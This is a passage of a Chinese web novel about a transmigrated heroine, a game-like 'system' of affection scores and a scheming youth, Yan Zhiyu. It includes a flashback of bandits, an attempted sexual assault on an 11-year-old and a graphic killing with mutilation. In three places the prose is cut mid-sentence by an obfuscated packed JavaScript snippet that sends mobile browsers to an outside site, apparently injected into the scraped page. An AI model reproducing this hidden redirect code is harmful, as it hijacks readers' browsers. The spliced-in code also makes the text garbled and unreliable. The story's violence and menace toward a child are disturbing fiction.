“这也太难了吧!”顾徊惊叫道,像是忽然想通什么似的,唇角泛起清浅的笑意,“难怪学姐对他这么好。我之前还在纳闷,为什么要护着一个大反派,原来只是要完成‘那个’而已。” 何妙观轻轻“嗯”一声,单手托腮,怔怔地望着跳动的烛火。顾徊见状,也学着她的模样,盯着桌案上摇曳的火苗看。 倘若只是结为名义上的夫妻,顾徊便能回到原本的世界,那就顺手帮一把。 片刻后,何妙观道:“我这边没问题,你想办法让你们家提亲便是。但我有一个要求,就是你成功后,得想办法帮我打一顿周子叙,一定狠狠地打,最好能打进医院的那种。” “只打一顿?”顾徊却惊道。 “……你想多打也可以。”何妙观嘴唇微抽,“反正等我回去,绝不会放过他。” “好,若是我能早点回去,我每天都雇人打他。”顾徊认真地点头,“谢谢学姐愿意帮我。” 何妙观笑笑,神色柔和下来:“别叫我学姐,也不怕被人听到。” “哦……那我还可以叫你‘妙观’吗?” “随你吧。” 顾徊摸摸后脑勺,又问:“妙观,那你的事,有没有什么我能帮上忙的地方?” 何妙观想起方才两个人打架的模样,苦笑道:“顾徊,你别打他、别骂他,看到他的时候别老是一口一个‘绿茶’,便是帮我大忙。” 顾徊咬着唇,轻声道歉,随即又不放心地补充:“妙观,我还是觉得他不对劲,你小心点。” == 次日,燕之郁如约在门外等候。 少年罕见地穿了一身艳丽的正红色绣金圆领袍,腰束玉带,底下是一双过膝的乌黑锦靴。这身行头本是为侍郎寿宴置办的,但何妙观当初嫌正红色过于俗艳,试都没让他试。不想他穿上竟十分合衬,俊美的容颜被这浓烈色彩衬得愈发夺目,艳上加艳,让人有点不好意思看他。 “昨日顾公子是这样穿的,何小姐盯着他看很久。我以为,小姐会喜欢。”燕之郁温声道。 阳光直照着他的脸,肤色亮如雪瓷。往日深黑的瞳仁在强光下收缩,眼眸竟呈现出淡淡的金色,不似凡人。 狐狸的眼睛,蛇的眼睛,豹子的眼睛…… 何妙观一时不记得哪一种动物的眼睛是金色的。 见她没反应,他直白地又问一句:“不好看吗?” 漂亮的眼眸还是凝望着她。 何妙观轻咳一声,道:“没有……挺好看的。” 他毫不掩饰地、略显得意地勾起唇,眉眼笑得弯弯的:“看何小姐方才的样子,还以为是弄巧成拙。时候不早,我们动身吧。” 何妙观刚以为他终于消停,暗自松一口气。 不料刚走到游廊,他又看似不经意地问道:“何小姐,我好看,还是顾公子好看。” 好感度不高,攀比心倒是不弱。 想到两人差距悬殊的好感,何妙观装作为难地思考着,半晌,苦恼道:“燕郎君要听真话还是听假话。” “自是真话。”他想都没想便道。 “顾公子好看。” 他脚步微不可察地一顿,又淡淡问道:“假话呢?” “这还用问?当然是反过来说,燕郎君好看。” 燕之郁停下脚步,侧过身,在幽暗的游廊下静静地望着她。阴影中,他的眼眸恢复了平日的浓黑,冰凉如琉璃。 少年端详的神色认真,像是想看出她是否在说谎。 何妙观被打量地莫名生出些愧疚。 良久,他眼中透出哀伤,自嘲般道:“嗯。顾公子出身世家,断不是郁这种寒微之人可以相比的。方才确是郁不知好歹,问出这样的蠢话,让何小姐见笑。” 东市渐近,人声喧阗。 马车缓下来,停在一家名为“漱玉斋”的珠宝铺前。漱玉斋以玉饰闻名,斋内已有不少年轻男女在挑选,笑语喧哗。 若此刻就服软改口,何妙观觉得未免太没骨气。 但若是一直任由他闷下去,她又于心不忍。 “燕郎君,下车吧。”何妙观戳戳他的胳膊,“买完发簪,我们去醉仙楼好好吃上一顿,然后……”她没再说下去。 少年转过来,眼眶通红,玉琢般的芙蓉面上满是泪水。因强忍着不出声,双颊泛着缺氧般的薄红。 “燕郎君,你怎么、你怎么……” 何妙观慌忙在袖中寻找手帕,摸到一半才想起,昨日那方帕子已给了哭泣的顾徊。无奈之下,只好用指尖替他拭去泪水。 他低垂着眼眸,异常温顺,翘翘的眼睫上沾着水珠,令人想起清晨的花蕊。 该说不说,他哭起来竟然比顾徊好看不少。 顾徊哭的时候,眼泪鼻涕通通流出来,吸溜吸溜的,明明已有十六岁,却还像十来岁的小屁孩一样。而他哭得矜持又脆弱,泪水顺着眼角一点点滑下来,流过那颗小痣,漫过唇角的伤痕,最终滴在雪白的颈间。整张脸泪湿后,如同水洗过的白瓷,有种破碎的美感。 “燕郎君,我不知道你这样在意别人的评价。”何妙观轻叹道,“青菜萝卜各有所爱,你何必因为一人的喜好,这样伤心。” “何小姐……我不是因为刚才的话难过。”哭完后,他的嗓音有点哑,声线低低的,“何小姐昨日还说,对顾公子已无情意,一定会退婚。可我见你们昨夜的情形……何小姐,你当真还要退婚么?” 何妙观微微张唇,一时不知如何作答。 迟疑片刻后,才道:“人生大事并非儿戏,昨夜我细细思忖,觉着还是郑重些好。我们两家门当户对,阿父又和顾通判交好,虽说我和顾徊因为多年不见却有生疏,但是……情谊都是可以培养的,而且他也说他念着旧情。” 闻言,他垂下眼,骨节分明的手紧紧攥住膝上的衣料,青筋隐现:“何小姐当时明明不是这样说的。” 何妙观知他在顾虑什么,宽慰道:“你放心,即便我出嫁,每月仍会给你十五两银子,断不会让你再为生计所迫,重操旧业的……” 燕之郁一时默然,不知在想什么。 “漱玉斋”的丫鬟看出他们出身不凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462754|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,热情地将二人引至陈列贵重玉器的里间。 各式各样的玉簪、玉珰、玉镯、玉扳指摆放在柔软的绸缎上,在烛光下泛起温润细腻的光泽。何妙观一一看过去,只觉得各有各的好,想全部收入囊中。 但何家到底不是顶级世家,在玉器开销上尚不能随心所欲。 选定一对玉镯、一对玉珰后,她便问燕之郁可有中意的簪子。 燕之郁摇摇头,像是赌气般,说他不需要这些。 何妙观又挑了一对耳珰和一支发簪,让丫鬟包好送去顾府。这十天半月,顾蕙仙多次宴请,不回赠些礼物,她心中过意不去。 临行前,何妙观再次问他:“燕郎君,真的没有看上的吗?” 他神情淡然地摇摇头:“回去吧。” 何妙观这才确定他是在生气。 回程马车上,何妙观与他并肩而坐,侧身问道:“燕郎君,你到底在气什么?” “我想不明白,顾公子昨夜到底同小姐说了些什么,使小姐对他有如此改观。”少年双眉微蹙,很是不解,“明明昨日何小姐还说,断不会给他好脸色的,今日便……便给他送簪子。” 何妙观看着他,不禁感叹怎么有人生气也温温柔柔的。 除却不再笑,燕之郁和往日比起来无甚差别,就连说话的语气都不曾改变。 “簪子是送给蕙仙的,不是给顾徊的。”何妙观怕他又哭,如实道,“至于为何对顾徊有改观,是我同他的私事,不便说与你听。况且……” 无可避免,何妙观又想到两人差得悬殊的好感度。 “燕郎君,你不会是在吃飞醋吧?可你又不喜欢我,吃的是哪门子飞醋?” “妙观……”果不其然,他瞪大眼睛,颇无辜地道,“你对我恩重如山,我怎会不心仪于你。” “你不用狡辩,这一回,我也不会同你置气。”何妙观双手交叉在胸前,摆出很成熟的模样,“燕郎君不若猜猜我如何知道的。” 燕之郁凝眉沉思。 他的确很好奇这件事情。 可若是顺着她的意思去猜,岂不是变相承认他确实不喜欢她? 见他半天不答,何妙观得意洋洋道:“本小姐会读心术。” 他唇角泛起微不可察的笑意,一副全然不信的模样。 何妙观继续道:“比如,燕郎君现在就在想:哎,这个何妙观,怎么事情这么多,真讨厌,哎,要不是以后还要住在何府,我才不想见她呢……” “何大人明鉴,燕某冤枉啊,岂敢有如此大不敬之念。”他莞尔失笑,配合着她演起来,“何大人明察秋毫,定要还燕某清白,莫要将燕某打入大牢才好。” 何妙观被他的语气逗乐,笑半天才停下。平复气息后,她慢慢凑近,低声道:“其实我是通过别的方法看出来的。但这个方法有些冒犯人,燕郎君要试试么?” 燕之郁一动不动,含笑望着她,一副任君采撷的模样。 何妙观便侧过身,轻轻按住他的双手,缓缓向他倾近。这是头一回这么近地端详他的脸,连他的唇瓣上的水光都能看得一清二楚。水润的薄唇,眼尾的小痣,脸颊上淡色的绒毛……何妙观睁着眼睛,越靠越近,侧颊碰到他纤长弯翘的睫毛,痒得她皱起眉。 温热的呼吸扑在他的脸畔。 燕之郁阖上眼。 若是能查出幕后主使,被亲一下倒也无妨。更何况,他对她虽称不上喜欢,但也并不厌恶她的触碰。 然而,何妙观只是在他耳边,极轻极轻地吹了一口气。 一阵酥麻的痒意窜过,连心弦都开始颤抖。 燕之郁不知这是何意,困惑地睁开眼。 眼前的女郎面泛桃红,正得意洋洋地望着他。 24.二十四 何妙观微微倾身,指尖轻点他的脸颊,淡笑道:“燕郎君,你若是对我心存爱慕,现在就不应该是这种表情。” 少年瓷白的颊上连一丝红晕也无,略显木讷地看着她,仿佛未能领会她话中的含义。 “你的脸没有红。”何妙观将随身携带的菱花小镜递到他眼前,“不信你自己看。” 镜面上还残留着她指尖的微温。燕之郁看看镜中自己平静无波的面容,又抬眸望向她。 他们确实不同,此时此刻,她的双颊泛着薄红,有若初春的桃花。 “真心喜欢一个人,在靠得很近时是会脸红的。”何妙观收回镜子,一本正经道,“所以,往后你实在不必再说那些违心的话。你的心意,我都明白。” 燕之郁一时默然。 喜怒哀何其容易假装,唇角微扬是喜,眼睫低垂是哀,咬牙切齿是怒。唯独这颊边一抹不由自主的红霞……他确实不知该如何像她一样,凭空便能染上颜色。 他抬起眸,平静道:“何小姐,不同人的体质不同,不可一概而论。” 事到如今,他还是不愿意老老实实承认! 何妙观觉着好笑,要同他辩论,他又冷不丁道:“若是爱慕一个人便会脸红。何小姐怎会是这种表情。” “因为、因为……”何妙观一时语塞。 他如往常般温柔缱绻地望着她,好像全然不晓她的心意。 又好像全然知晓。 何妙观心一横,鼓起勇气道:“大概是因为……我确实是有点喜欢你的。” 直白的承认反倒让燕之郁微微一怔。他那双总是含笑的桃花眼此刻凝肃起来,仔细端详着她的脸庞,试图分辨那是真心还是戏言,良久未曾言语。 何妙观垂下眼帘,声音轻柔却清晰:“燕郎君生得好看,性情温柔,才学出众,令人心生倾慕……本是再自然不过的事……” 片刻静默后,燕之郁柔柔笑起来,眉眼温柔,顺着她的话道:“何小姐花容月貌,秀外慧中,风华绝代,令我有爱慕之心,也是再正常不过的事。” “满口胡言。你明明不喜欢我。”何妙观轻哼一声,别过脸去。 “喜欢你。”他又道。 “不喜欢。” “喜欢你。” “不喜欢。” “不喜欢。” “喜欢……!” 意识到自己竟被他绕了进去,何妙观气恼地握拳轻捶一下他的肩膀。 他面不改色,继续用那副温柔腔调说道:“嗯。如此说来,我们已是两情相悦。何小姐,我们私奔吧?” “哪来的两情相悦……是你在胡说八道!” “明明是何小姐自己认的。”少年嘴角噙笑,黑眸明亮,近乎挑衅,忽地又摆出恍然大悟的神情,“是哦,何小姐还要和顾公子成婚,确实不便私奔。是我无理取闹。” 何妙观不想认输,挑衅回去:“你少做梦。就算没有顾徊我也不会私奔的。我才不想住回那破败山庙。贫贱夫妻百事哀,正常人都知道该如何选择……” “陪你私奔有什么好的,本小姐呢,要每天吃醉仙楼、穿绫罗绸缎、戴珠翠宝玉……”说着,何妙观故意把新买的那对白玉镯取出来,对着光仔细端详,美滋滋地套在腕上。 “既要同心上人私奔,我怎会舍得何小姐再住那些地方。自是会想办法另寻他处。”燕之郁看她故作气恼的样子,不免一笑,柔声道,“何小姐想要什么,郁一定都帮何小姐得到。” 何妙观面皮终是没这么厚,见车停下,连忙掀开帘子。 临走前,她回头瞪他一眼,冷冰冰丢下一句:“你这个人真的是……巧言令色!” == 秋风送爽,月华如水。 女郎斜倚在窗边的美人榻上,单手托腮,心不在焉地翻着话本。才看两页,便烦躁地将书册合上,翻身将滚烫的脸颊埋进柔软的锦被中。 “阿菁,你有没有喜欢过什么人?”何妙观闷闷的声音从被褥里传来。 “奴婢喜欢小姐,还有阿葵。”阿菁一边整理妆奁,一边淡然答道。 “我是说……郎君呢?” “这倒不曾有过。”阿菁踟蹰片刻,问,“小姐是在为燕郎君苦恼?” 马车中的那番对话,如同投入心湖的石子,让何妙观清晰地望见心中的波纹。 她确实是喜欢他的。 他阖上眼时安然如画的侧颜,他身上清冽的栀子熏香,他靠近时温热的呼吸,五感受到的刺激交织成一张柔软却密不透风的网,将她的心脏紧紧包裹,传来一阵绵密的、伴随着疼痛的悸动。 “他不喜欢我。” 阿菁讶然道:“小姐怎会这样想?燕郎君一看上去就很喜欢小姐。” 何妙观不明白,为什么人们总是看不出他的假装。 但转念一想,若是没有系统的好感度提示,她也会以为他喜欢自己吧。 “燕郎君除却同小姐说笑外,对府里其他人,总是漠不关心的样子。知晓小姐体虚,燕郎君隔三岔五就做补汤送过来。还有……”阿菁犹豫片刻,低声道,“燕郎君还悄悄问过奴婢,何时是小姐的生辰,分明是想为小姐精心准备贺礼。” “这些都可以假装的,又未必是真心喜欢。”何妙观翻个身,胳膊挡在脸上,挡住恼人的烛光,“谁知道他心底在想什么……估计是担心不对我好,我就把他赶出去罢。” “可是小姐,”阿菁轻轻走到榻边,柔声道,“若有人愿意一辈子这般‘刻意’对小姐好,真心与否,又有多大分别呢?人生苦短,郎君们的心思本就似云似雾,难以捉摸。若时时要去揣度背后深意,既耗心神,又徒增烦恼。小姐为何不洒脱一些?” 熄灯就寝后,何妙观试图用阿菁的话来说服自己。 然而脑海中却如同两军对垒,金戈铁马,争执不休。 一个小人嚷嚷:“享受使用权,放弃占有欲。长得好看又会哄人的男人是稀有物。” 另一个小人立刻反驳:“拜拜就拜拜,下一个更乖。天涯何处无芳草,何必吊死在一棵树上。” 第一个小人又道:“站着说话不腰疼,你倒是帮忙找找另一棵树呗!别到时候找些七歪八扭的杂草来!” 第二个小人嗤之以鼻:“有没有听过‘金玉其外、败絮其中’啊!而且,你看他甜言蜜语能说会道的,一看就是之前经常哄别的女孩子……” 何妙观烦躁地翻过身,将脸埋进锦被里,眼泪不争气地滑落,咸涩的滋味在唇边蔓延,浸湿枕畔。脑中两个小人的争吵愈发激烈,她闭上眼想求得片刻安宁,可少年那温柔含笑的嗓音却又在耳畔清晰响起。 “如今我们是两情相悦,何小姐,同我私奔罢。” 那语气郑重而诱人,望向她的目光炽热诚恳,仿佛他们的确情深意笃,相约白首。 可明明,明明…… 【反派的故事二已解锁。】 【宿主,要现在体验么?】 系统的提示音让何妙观猛地一愣。 先前那个劝和的小人立刻雀跃起来:“你看!你看!他对你还是有点真心的!感情嘛,都是可以慢慢培养的!” 而另一个小人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16470903|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则冷冷提醒:“二十的好感度高兴个啥,还不如看门的阿福高……” == 【宿主,这是永昌十四年的静山。】 此时正是酷夏,蝉鸣阵阵,热风粘稠,尘土飞扬的官道上放眼望去,连个活物都没有。闷热打湿万物,连山上翠绿的草木都发着汗一般,显得沉甸甸的,蔫得毫无生气。 唯一能带点生气的,是远处的一道烟。 一束细细袅袅的、缓缓动着的炊烟。 有烟的地方便有人。何妙观加快步子,往烟的方向跑去。约莫半刻钟后,一座破败客栈映入眼帘。店门外拴着两匹黑马、两匹棕马,皆被暑气蒸得垂头丧气,鼻息粗重。 “干完这票,老二、老四,你们要去干啥?” 屋内传来男子沙哑的嗓音。 何妙观走进去。大堂里围坐着四条汉子。正说话的男子约莫四十出头的年纪,皮肤黝黑,眼角已有细纹。他一只脚跷在条凳上,晃着烟斗,张口时露出一口黄滋滋的烂牙。 “大当家,你咋不问老三要干啥?”臂上纹着花斑猛虎的汉子嬉笑着接话。 “老三么,他啊……”秃顶的老四努努嘴,瞥向一旁闷头灌酒的清瘦男子,“他这个没出息的,一天到晚只想着往窑子跑,估摸这趟分完账,又得在风月楼泡上十天半月咯!” “哈哈哈哈哈哈!”赤膊的独眼汉子放声大笑,“这回绑的货里倒有一两个模样周正的。老三,要不你先上去验验货?” 半盏茶的工夫,何妙观大致摸清了这伙人的底细。他们是盘踞静山的匪徒,定期下山劫掠周边的村落,绑一批人送往一处叫“黑宅”的地方。黑宅按人头付钱,一人二十两白银。 原本今日就该抵达黑宅,谁知老四看守不力,竟让一个叫周崖的少年逃脱,还顺走了老四那柄镶红宝石的金柄佩刀。宝刀难得,老四不甘心,料定周崖腿伤跑不远,大当家便让部分匪徒先押送一批人上路,其余与周崖相关的人质暂扣客栈,待抓回逃犯再一并处置。 “你们喝着,我上去瞧瞧。”清瘦男子撂下酒碗,面颊酡红。 秃顶老四咧嘴一笑:“瞅瞅,一点黄汤下肚就憋不住。老三,下手有点轻重,别玩死,一个值二十两呢!” 何妙观紧随那清瘦男子踏上二楼。 暮色渐沉,破旧的客栈没有烛火,楼道里昏昏沉沉的。 “嘎吱”一声,木门被推开。 清癯男子醉醺醺地往里面走。屋里传来衣物摩擦的细簌声。何妙观跟着进去,才发现不大的房间里满是人。一个,两个,三个……一共有五个人。 燕之郁坐在靠窗的角落,抱着膝。三年过去,他五官长开些,介于孩童的纯真和少年人的青俊,虽然脸上沾着灰土,但依旧能看出皮肤白皙细腻,清丽动人。 老三的目光落在他身上,像狗见到肉一样,流着哈喇子过去。少年身边的人见状,惶恐地移动着身子,留出一片空地。 老三一屁股挨着少年坐下,浑浊的眼珠贪婪地逡巡着那张姣好的脸,喷着酒气道:“今年多大?”说着,一只苍白枯瘦的手便要缠上少年纤细的腰肢。 少年漂亮的脸上写满惊惧,拼命往墙角缩去。 “他、他今年才十一岁,求好汉发发慈悲,放过这孩子吧……”一个妇人开口道。 何妙观认得这位妇人,是当时到燕家帮忙的周家婶婶。四年过去,周家婶婶看上去苍老不少,头上已有数根银发。 “轮得到你插嘴?再嚷嚷割了你舌头!”老三不耐烦地皱皱眉,转脸又堆起腻笑,“十一岁啊?那应该还是个雏吧?” 25.二十五 燕之郁没有应声,只是怔怔地望着他。 “不吭声?莫不是个小哑巴?”老三伸手捏住少年的脸颊,迫使他抬起头。少年吃痛地蹙起眉,抬手想要推开。老三不怒反笑,另一只手已探向他的衣襟,含糊不清地哄道:“小郎君,俺会疼你的……你若乖乖听话,把俺伺候舒坦,这两日让你独睡大床,不必同他们挤在一处。” 燕之郁拼命摇头,声音带着颤意:“不要、不要……” “大人,我、我知道周崖在哪,大人放过我,我愿带路……” 老三的动作猛地一顿,酒醒过来。 “阿郁,你,你说什么?”周家婶婶急得嘴唇哆嗦,“小崖同你这样好,他好不容易逃出去,你、你怎能……” “啪!” “轮得到你插嘴?!”老□□手一记耳光将妇人扇倒在地,转脸又堆起腻笑看向燕之郁,“小郎君,此话当真?若敢有半句虚言,俺的手段,你可消受不起。” 周家婶婶捂着脸,泪眼婆娑地望着他,无声地做着口型:“不可……万万不可……” 燕之郁避开她的视线,顺从地抬起双手:“我可以带大人去。大人若是不信,将我双手捆着,我逃不走的。” 老三上下打量起他。少年身形清瘦,个头刚及他下颌,他并不觉得有什么威胁,便一把把他拽起来,笑道:“小郎这样懂事,俺怎么舍得捆着?带俺把那厮找回来,俺定会给小郎——” “使不得啊!”周家婶婶扑上来,拽住少年的脚踝,“阿郁,算婶婶求你,不要带他们去找小崖,好不好?” 见他不为所动,妇人咬牙泣道:“阿郁,想想你爹,你爹为护着你,给他们活活打死,你怎么能、怎么能……你不若顺着他,一下子就过去的。但是、但是小崖若是被找回来,一定会被打死的呜呜呜……” 妇人哭得上气不接下气。 燕之郁垂下眼眸,轻叹一声,蹲下身抚着妇人散乱的鬓发,苦笑道:“阿婶,是我对不住你。” 周家婶婶含恨地看着他,猛地抬手巴掌扇过去,将少年的脸扇到一边。妇人的力度很大,他的脸上很快出现一个鲜红的印子。 “算婶婶看错眼。你、你个没良心的,当年陈老先生就不该救你,你个没良心的……”话音未落,妇人气急攻心,晕厥过去。 老三抱臂旁观,饶有兴味地看着这出戏码。 “小郎,走吧。” 楼下的三人还在饮酒。见老三带着人下来,老四咧嘴笑道:“哟,这是要寻个野趣?老三,山里蚊虫毒,仔细你那宝贝玩意!” “这小郎细皮嫩肉的,经得起折腾吗?”老大眯眼笑道。 老三瞪他一眼,道:“是小郎君自愿带路去找周崖。”说罢,又亲昵地掐着少年的侧脸,道,“是不是?小郎?啧,真乖。但也真没骨气。” 老四见状,立刻来了精神,双腿一蹬,说也要一起去,把这姓周的抓回来千刀万剐。 太阳落下去,天空化作蓝紫色。天际浮着缕细细的云,被这暮色浸黑,如同美人眉梢的黛色。 老四一把解开黑马的缰绳,急不可耐道:“那厮在哪?” 燕之郁看他一眼,低下头,一副怕极的模样。老三笑呵呵道:“老四,你别吓着他。小郎,你同俺在一起,给俺指路。”说着,扶着他坐上马。 “没出息。”老四白他一眼,“这小郎没骨气,俺看不上。白送都不要。” 黑马向深山里奔去。 月亮升起来,灰青的天中浮着薄薄的云。夜风吹过,将白昼积攒的燥热一丝丝降下去。 “吁”的一声,黑马在一处灰石前停下。老四翻身下马,见此处确有人来过的痕迹,满意地点头道:“小郎,你同那个周崖这样好?他连要去的地方都告诉你?” 燕之郁轻盈跃下马背,淡然道:“我们从小一起长大,他信我。他让我也挑个时候逃出来,到前面的溪边同他会和……”说罢,有些凄惶地一笑,“但我知道,那不过是以卵击石而已。你们……动静小些,免得让他察觉到异常。” 月光落在他雪白的脸上,照出他的仙姿玉骨,清冷得不近人情。 老三心痒难耐,痴痴道:“俺就喜欢小郎这种,有句老话怎么说,识食物?识大米?” “蠢蛋,是识时务着为俊杰。”老四轻蔑道。 “你少在这摆谱!”老三“呸”他一下,“要不是你看管不力,哪来这桩祸事!你赶紧去找那个周崖!”又急不可耐地拉着燕之郁往树荫下走,“小郎,你同俺在这歇歇。” 老四也“呸”得一声,顺着燕之郁指的方向走去:“老三,你悠着点吧。这小郎眼下有痣,心眼多着呢。” 半天过去,老四的人影终于消失在深深草木间,老三迫不及待地解开衣裤。粘稠的酷夏,怎得夜晚也这般热。他想把这身烦人的衣物脱掉许久。脱到一半,老三忽地停下来,感到一丝不对劲。 今日的衣物,怎么这样轻。 他的匕首呢?! 脊背瞬间发凉,他猛然醒悟过来,骑马时,小郎君顺走了他的贴身短刃。 “你——” “噗嗤”“噗嗤”。 沾血的刃尖自他胸前透出。老三僵硬地转头,小郎依旧是方才面无表情的模样。皎洁的月光落在他的脸上,如流水般,将他的脸涤得如同美玉。匕首抽出去后,心里空落落的,老三“砰”地一声跪下去,口中涌出鲜血。 他上身赤裸,宛如一头剃净毛、待宰的牲口。 少年蹲下身,静静端详他。漆黑眸中无恨无怒,甚至带着一丝温柔。 “你……你……俺好心、好心给你……” “嘘,别说话。”少年伸手扣住他的下颌,迫使他张口,“安静些,很快便好。” “唔……唔……啊!!!” 一截带血的舌头落在地上。像是烂掉的肉虫。 老三痛得满地翻滚。 好像还不够一般,少年又抬起手。老三无法言语,只能拼命扭动身躯,面目因极度恐惧而扭曲狰狞。 “唔——唔——” 匕首落在他的裆部,一下又一下,鲜血四溅。老三双腿疯狂蹬踹,片刻后,终于瘫软不动,彻底沉寂。 燕之郁探探他的鼻息,放下匕首。他是第一次杀人,这番下来,额角已浮起一层薄汗,浓郁的血腥味令他感到不适,眉毛蹙得紧紧的。在地上缓了片刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492702|183480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他深吸一口气,将匕首用男人的衣物擦拭干净,重新塞回刀鞘里。 燕之郁向老四去的方向走去。 草丛传来“沙沙”声响,有人正靠近。 燕之郁躲到一旁的树荫下,把匕首牢牢握在手心,眼睛一眨不眨地看着前方的岔路口。 “阿郁!” 少年人清脆的声音响起来。 燕之郁松一口气,走到路中间。远处一个十五六岁的少年一瘸一拐地跑过来。少年灰头土脸的,右腿上的裤子上破开一跳些许长的口子。但面色看上去还算康健。 “怎么样?”燕之郁打量着他,把匕首收好。 “嗯。很顺利。”周崖点点头,“不信你过来看。” 路边有一处陷坑,坑底躺着秃顶的老四,双目紧闭,身下积着一滩血。 此地猎户为捕猛兽设下诸多陷阱。老四轻敌,以为腿伤的周崖不堪一击,岂料对方根本无意和他硬碰硬。坠入陷阱摔断脊椎后,老四被周崖用石块猛砸一通,已然气绝。 黑马闻到血腥味,不安分地跺着步。 周崖走上去,替它们顺着毛。 “阿郁,我们去官府报官。” 待马匹平静,周崖翻身上马。 燕之郁看着他,摇摇头。 “为何?” 静山匪患连年,烧杀掳掠无数,扬州官府却从未真正剿匪。燕之郁觉得报官无望。 只怕官匪本是一家。 周崖勒住缰绳,眉头紧锁:“阿郁说得对。静山匪患多年,官府若是有心,早该清剿,村里的人怎会一年比一年少……”他望向回客栈小路,片刻后,喃喃道,“阿郁,我娘一切都好吧?” 燕之郁轻轻“嗯”一声。 “阿郁,你觉得硬打的话,我们可以赢么?”周崖又问。 他们能杀死老三和老四,靠的是天时地利人和。老三被色心眯眼,老四轻敌,但客栈里的花臂老大和独眼老二没有那么好对付。如今老三老四不回去,定然会比往日更警惕。 而他们,若是能顺利解救楼上的乡亲,满打满算不过六人而已,六人中,还有两个是不到七岁的孩童,一个是年逾六十的老太,靠谱的只有周崖的阿娘还有那对孩童的父母。 四打二,也打不过的。 燕之郁想起山匪进村子的那日,他的阿父是怎么死在独眼老二的手里。不但是他的阿父,村里好多人都死在他手里,说这独眼老二以一抵十也不为过。 绝不可以硬碰硬。 燕之郁从前只骑过村里的骡子,坐在马上,他有点头晕,便下来慢慢地走着。 “周崖哥,你还记得,孙二哥是怎么死的么?” 周崖轻叹一声:“上山打猎,误食草乌……哎,可怜孙大娘白发人送黑发人……” 燕之郁点头:“嗯。周崖哥,我的意思是,我们可以找草乌。” 这已是他能想到的最靠谱的方法。 周崖见状,立刻翻身下马,跟他一起边走边看着路边的花花草草。 晨光初现,天边浮起鱼肚白。少年半蹲在地上,看着眼前蓝紫色的小花。 在熹微中,花蕊随风轻曳,妖艳而美丽。 26.二十六 清泉蹲在屋檐上,双腿发麻,额角冒汗,他头一次觉得,偷听竟是这般艰难的差事。 明明每个字他都听得懂,但是怎么连起来就不明白? 什么“金色”、“手指”、“反派”、“炮灰”…… 一滴汗珠滚入眼角,刺得他眼眶生疼。 清泉俯低身子,小心翼翼地又揭开一片屋瓦。 雅致的厢房里,两人对坐着。 “嗯,你尽量早点提亲。”何妙观道,“这样你也好早些回去。” “谢谢你,妙观。”另一边的顾徊红着脸点头,忽然想起什么似的,取出一只锦盒,盒中静静躺着一只翡翠玉镯,“这是蕙仙的还礼。她很喜欢那一支玉簪,每日都戴着。” 何妙观道过谢,正要让阿葵收好。顾徊又羞赧道:“蕙仙嘱咐我一定要让你先试试,若是尺寸不合,也好拿去调换。妙观,你试试吧?” 翡翠玉镯的口径小,何妙观花费好半天功夫才套进去,手背上已磨起一道红晕,再想拿下来,却是有些困难。她转转镯子,觉得尺寸差不多,模样也好看,决定此后便一直戴在手上。顾徊这才起身作别。 离开醉仙楼,顾徊取出帕子擦拭额角的细汗。 无法控制得难以呼吸,不知是因为紧张,还是因为…… 他在撒谎。 方才何妙观问他任务进展如何,他回的是:“一切顺利”。 但实际上,他在顾家提过好多次和何妙观的娃娃亲,得到的永远是那一句答复。 “阿徊,不要感情用事”。 成亲也不要感情用事吗? 顾徊感觉北梁国的人真是难以理喻。 顾捷觉得他如今是探花郎,年少俊彦,不如等回长安任职后再议婚事。还说什么,大伯来信说太常少卿徐敏就对他很感兴趣,问他什么时候回长安,好同他家闺女见一面。 问他阿娘,也说的是何家的小娘子虽然家世不错,但是风评实在不佳,如今有探花郎在身,能挑更好的长安贵女,为何不更进一步?男子都是要向上的。 学姐帮他本就不是义务,他当然不好意思说什么爹娘嫌弃她名声之类的话。 虽然……他的确不希望学姐和其他男子见面,尤其是燕之郁。 他看《冠缨录》的时候就很讨厌这个反派,如今他还老是缠在学姐身边,更觉得反胃。 瞧他那副阴柔相貌,一看就知道不是正面人物。 顾徊低头踢着地上的石子。灰色的石子被他从长街的这一头踢到那一头。 “公子……”踢着踢着,小厮阿姜唤他。 顾徊恹恹地抬起头。 对面正是他最不愿见到的脸。那人眉眼含笑,不知在得意什么。 “顾公子,好巧。”少年嗓音柔润。 “巧什么巧。”顾徊没好气地答道。 “巧在我们今日都能见到何小姐。” 见他没听懂,燕之郁又补上一句:“郁现在,正是要去找何小姐。今夜普德坊莲花池放花灯,何小姐邀我同往。” “哦,零个人问你。”顾徊知道这件事。他晚上也要去普德坊,不过是和顾家姊妹一起。“走吧,阿姜。” 